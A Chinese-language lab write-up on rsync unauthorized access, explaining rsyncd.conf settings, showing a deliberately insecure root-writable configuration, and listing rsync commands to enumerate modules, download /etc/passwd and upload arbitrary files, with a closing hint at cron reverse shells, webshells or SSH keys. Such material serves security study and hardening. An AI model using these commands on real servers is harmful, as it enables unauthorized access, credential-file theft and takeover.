rsync 未授权访问漏洞
rsync
rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。 rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,而且可以通过ssh方式来传输文件,这样其保密性也非常好
rsync配置文件
配置文件 rsyncd.conf 由全局配置和若干模块配置组成。一般在/etc/rsyncd.conf
配置文件的语法为:
- 模块以 [模块名] 开始
模块定义什么呢?主要是定义服务器哪个目录要被同步。每个模块都要以[name]形式。这个名字就是在rsync 客户端看到的名字,其实有点象Samba服务器提供的共享名。而服务器真正同步的数据是通过path 指定的。我们可以根据自己的需要,来指定多个模块。每个模块要指定认证用户,密码文件、但排除并不是必须的 - 参数配置行的格式是 name = value ,其中 value 可以有两种数据类型:
- 字符串(可以不用引号定界字符串)
- 布尔值(1/0 或 yes/no 或 true/false)
- 以 # 或 ; 开始的行为注释
- \ \为续行符
参数 | 说明 |
---|---|
uid | 此参数指定与该模块之间的文件传输的用户名或用户ID |
gid | 此参数指定在访问模块时将使用的一个或多个组名称/ID |
use chroot | 若为 true,则 rsync 在传输文件之前首先 chroot 到 path 参数所指定的目录下。这样做的原因是实现额外的安全防护,但是缺点是需要 root 权限,并且不能备份指向 path 外部的符号连接所指向的目录文件 |
max connections | 指定该模块的最大并发连接数量以保护服务器,超过限制的连接请求将被告知随后再试 |
syslog facility | 指定 rsync 发送日志消息给 syslog 时的消息级别 |
pid file | rsync 的守护进程将其 PID 写入指定的文件 |
log file | 指定 rsync 守护进程的日志文件,而不将日志发送给 syslog |
path | 指定当前模块在 rsync 服务器上的同步路径,该参数是必须指定的 |
comment | 给模块指定一个描述,该描述连同模块名在客户连接得到模块列表时显示给客户 |
read only | 指定是否允许客户上传文件。若为 true 则不允许上传;若为 false 并且服务器目录也具有读写权限则允许上传 |
auth users | 指定验证用户名,可以不设置,不设置默认不用密码,设置的话安全性更高点 |
secrets file | 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400 |
hosts allow | 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开 |
该漏洞环境下rsync的配置文件
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log[src]
path = /
comment = src path
read only = no
由配置文件,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问
复现
-
查看可用模块
rsync 192.168.122.1::
rsync rsync://192.168.122.1:873/
rsync rsync://192.168.122.1
-
列出模块下文件
rsync 192.168.122.1::src
rsync rsync://192.168.122.1/src
-
下载任意文件
rsync rsync://192.168.122.1/src/etc/passwd ./
rsync 192.168.122.1::src/etc/passwd ./
-
上传任意文件
rsync x.txt rsync://192.168.122.1/src/home/
rsync x.txt 192.168.122.1::src/home/
然后可以写入了一个cron任务,反弹shell,有Web服务的话,可以写WebShell,或者写ssh公钥等
参考:
rsyncd.conf